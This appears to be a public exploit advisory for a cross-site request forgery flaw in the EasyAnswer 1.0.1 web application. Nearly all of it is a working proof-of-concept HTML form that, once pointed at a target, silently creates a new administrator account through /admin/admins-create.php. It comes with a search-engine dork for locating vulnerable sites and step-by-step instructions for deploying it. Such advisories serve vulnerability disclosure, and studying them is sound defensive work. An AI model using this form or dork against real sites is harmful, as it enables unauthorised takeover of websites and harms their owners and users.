EasyAnswer 1.0.1 Cross Site Request Forgery

`====================================================================================================================================  
| # Title : EasyAnswer version 1.0.1 CSRF Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 114.0.1(64-bit) |   
| # Vendor : https://www.codester.com/items/40311/ |   
| # Dork : "© 2022 Easy Answer All rights reserved." |  
====================================================================================================================================  
  
poc :  
  
[+] infected file: admins-create.php  
  
[+] Inside folder /admin/admins-create.php  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] Copy the code below and paste it into an HTML file.  
  
[+] Go to the line 17.  
  
[+] Set the target site link Save changes and apply .   
  
</i>Create Administrator</h2>  
</div>  
</div>  
</div>  
</div>  
</div>  
  
<div class="row">  
<div class="col-md-12 stretch-card">  
<div class="card">  
  
<div class="card-body">  
  
<div id="messages">  
</div>  
  
<form action="http://CHANGE_TARGET.com/admin/admins-create.php" method="post" id="main_form" name="main_form" enctype="multipart/form-data">  
<input type="hidden" id="submitform" name="submitform" value="1">  
  
<div class="form-group row">  
<label for="username" class="col-sm-2 col-form-label">Username:</label>  
<div class="col-sm-12">  
<input type="text" class="form-control" id="username" name="username" value="" placeholder="ADMIN USERNAME">  
</div>  
</div>  
<div class="form-group row">  
<label for="password" class="col-sm-2 col-form-label">Password:</label>  
<div class="col-sm-12">  
<input type="password" class="form-control" id="password" name="password" value="" placeholder="ADMIN PASSWORD">  
</div>  
</div>  
  
<div class="form-group row">  
<label for="email" class="col-sm-2 col-form-label">E-Mail:</label>  
<div class="col-sm-12">  
<input type="email" class="form-control" id="email" name="email" value="" placeholder="ADMIN E-MAIL ADDRESS">  
</div>  
</div>  
  
<div class="row-spaces"></div>  
  
<p>  
<button type="button" class="btn btn-primary btn-col-light me-2" onclick="document.main_form.submit();" style=""><span>Submit</span></button>  
</p>  
</form>  
  
  
</div>  
</div>  
</div>  
</div>  
  
</div>  
  
Greetings to :===================================================================================  
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet|   
==================================================================================================  
`